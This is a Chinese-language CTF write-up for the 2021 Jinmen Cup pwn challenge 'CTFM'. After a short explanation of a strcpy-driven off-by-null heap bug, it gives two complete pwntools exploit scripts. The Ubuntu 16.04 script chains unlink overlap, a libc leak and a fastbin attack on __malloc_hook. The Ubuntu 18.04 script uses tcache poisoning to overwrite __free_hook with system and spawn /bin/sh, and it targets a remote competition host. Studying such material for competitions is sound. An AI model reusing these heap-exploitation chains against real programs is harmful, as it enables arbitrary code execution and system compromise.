天天看點

[津門杯] PwnCTFM - strcpy型off-by-null學習

這是津門杯 2021的一個pwn

題目很明顯的off-by-null,第一思路肯定是:構造unlink->overlap->leak->tcache_attack。

但是由于是strcpy向堆記憶體中複制,是以不能同時構造

prev_size

size

域。首先很自然的想到了循環遞減字元的方法清空

prev_size

,然後寫入需要的值。但是想錯了一個地方,我以為所有堆塊在釋放前都要被檢查

inuse(p)

,這樣使得循環遞減的方法無法使用(因為這需要先溢出覆寫好

size

not inuse

标志)。但是查閱源碼後發現,如果不定義

MALLOC_DEBUG

的話,是不會有這個檢查的,是以是我多慮了。

整理思路之後确定:用兩個

unsorted chunk

夾住一個

unsorted chunk

和一個

tcache chunk

,unlink構造overlap之後用被夾住的

unsorted chunk

洩露位址,用

tcache chunk

tcache attack

__free_hook

吸取經驗,ptmalloc各個流程的檢查還是要明晰一下的。

exp on Ubuntu16.04

from pwn import *

p = process("./pwn")
#p = remote("119.3.81.43", 49155)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.log_level = "debug"

# your choice>>
# list: 0x0000555555554000+0x203040

def add(name, size:int, des, score:int, finished=True):
    p.sendlineafter(b"your choice>>", b"1")
    p.sendafter(b"topic name:", name)
    p.sendlineafter(b"des size:", str(size).encode())
    p.sendafter(b"topic des:", des)
    if finished:
        p.sendlineafter(b"topic score:", str(score).encode())

def delete(idx:int):
    p.sendlineafter(b"your choice>>", b"2")
    p.sendlineafter(b"index:", str(idx).encode())

def show(idx:int):
    p.sendlineafter(b"your choice>>", b"3")
    p.sendlineafter(b"index:", str(idx).encode())

def exp():
    p.sendlineafter(b"input manager name:", b"CTFM")
    p.sendlineafter(b"input password:", b"123456")
    #gdb.attach(p, "b *0x0000555555554000+0xe08\nc\n")

    # build overlapping

    add(b"AAAA", 0x90, b"unsorted", 100) #0
    add(b"AAAA", 0x68, b"vuln", 100) #1
    add(b"AAAA", 0x68, b"vuln", 100) #2
    add(b"AAAA", 0xf0, b"AAAA", 100) #3
    add(b"split", 0x10, b"split", 100) #4
    #delete(0) into unsorted bin

    delete(2)
    add(b"AAAA", 0x68, b"a"*0x68, 100) #2
    for i in range(7, -1, -1):
        delete(2)
        add(b"AAAA", 0x68, b"a"*(0x60+i), 100) #2
    delete(2)
    add(b"AAAA", 0x68, b"a"*0x60 + p64(0x180), 100) #2
    delete(0)
    delete(3) # unlink

    # leak libc
    add(b"BBBB", 0x90, b"BBBB", 100) #0
    #add(b"BBBB", 0x68, b"BBBB", 100) #0
    gdb.attach(p)
    show(1)
    p.recvuntil(b"topic des:")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 88 - 0x10 - libc.symbols[b"__malloc_hook"]
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    fake_chunk = malloc_hook - 0x23
    one_gadget = libc_base + 0x4527a
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("malloc_hook:", hex(malloc_hook))
    print("one_gadget:", hex(one_gadget))

    # fastbin attack
    add(b"BBBB", 0x68, b"BBBB", 100) #3
    add(b"BBBB", 0x68, b"BBBB", 100) #5
    delete(1)
    delete(5)
    delete(3)

    add(b"tmp", 0x68, p64(fake_chunk), 100) #6
    add(b"tmp", 0x68, "tmp", 100) #7
    add(b"tmp", 0x68, "tmp", 100) #8
    add(b"tmp", 0x68, b"a"*0x13 + p64(one_gadget), 100) #9
    print("malloc_hook:", hex(malloc_hook))

    # getshell
    delete(2)
    add(b"tmp", 0x68, "tmp", 100, False) #2


    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()           

複制

exp on ubuntu18.04

from pwn import *

#p = process("./pwn")
p = remote("119.3.81.43", 49155)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context.log_level = "debug"

# your choice>>
# list: 0x0000555555554000+0x203040

def add(name, size:int, des, score:int, finished=True):
    p.sendlineafter(b"your choice>>", b"1")
    p.sendafter(b"topic name:", name)
    p.sendlineafter(b"des size:", str(size).encode())
    p.sendafter(b"topic des:", des)
    if finished:
        p.sendlineafter(b"topic score:", str(score).encode())

def delete(idx:int):
    p.sendlineafter(b"your choice>>", b"2")
    p.sendlineafter(b"index:", str(idx).encode())

def show(idx:int):
    p.sendlineafter(b"your choice>>", b"3")
    p.sendlineafter(b"index:", str(idx).encode())

def exp():
    p.sendlineafter(b"input manager name:", b"CTFM")
    p.sendlineafter(b"input password:", b"123456")
    #gdb.attach(p, "b *0x0000555555554000+0xe08\nc\n")

    # build overlapping

    for i in range(7):
        add(b"AAAA", 0xf0, b"unsorted", 100) #0-6
    add(b"AAAA", 0xf0, b"unsorted", 100) #7
    add(b"AAAA", 0x68, b"vuln", 100) #8
    add(b"AAAA", 0xf0, b"unsorted", 100) #9
    for i in range(6):
        delete(i) #del 0-5
    delete(7)
    add(b"split", 0x10, b"split", 100) #0 split
    delete(6) 

    ## offbynull
    delete(8)
    add(b"AAAA", 0x68, b"a"*0x68, 100) #1  
    ## make up prev_size  
    for i in range(8):
        delete(1)
        add(b"AAAA", 0x68, b"a"*(0x68-i), 100) #1
    delete(1)
    add(b"AAAA", 0x68, b"a"*0x60+p64(0x270), 100) #1
    delete(9) #delete 9 unlink
    #gdb.attach(p)

    # leak libc
    add(b"show", 0xf0, b"show", 100) #2
    add(b"BBBB", 0xd0, b"BBBB", 100) #3
    add(b"BBBB", 0x10, b"BBBB", 100) #4
    show(2)
    p.recvuntil(b"topic des:")
    libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
    libc_base = libc_leak - 96 - 0x10 - libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    system = libc_base + libc.symbols[b"system"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))

    # tcache attck
    add(b"tmp", 0x68, b"tmp", 100) #5
    delete(5)
    delete(1)
    add(b"BBBB", 0x80, b"BBBB", 100) #1
    add(b"BBBB", 0x160, p64(free_hook), 100) #5

    # rewrite freehook
    add(b"CCCC", 0x68, b"/bin/sh\x00", 100) #6
    add(b"CCCC", 0x68, p64(system), 100) #7
    print("free_hook:", hex(free_hook))
    delete(6)

    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()           

複制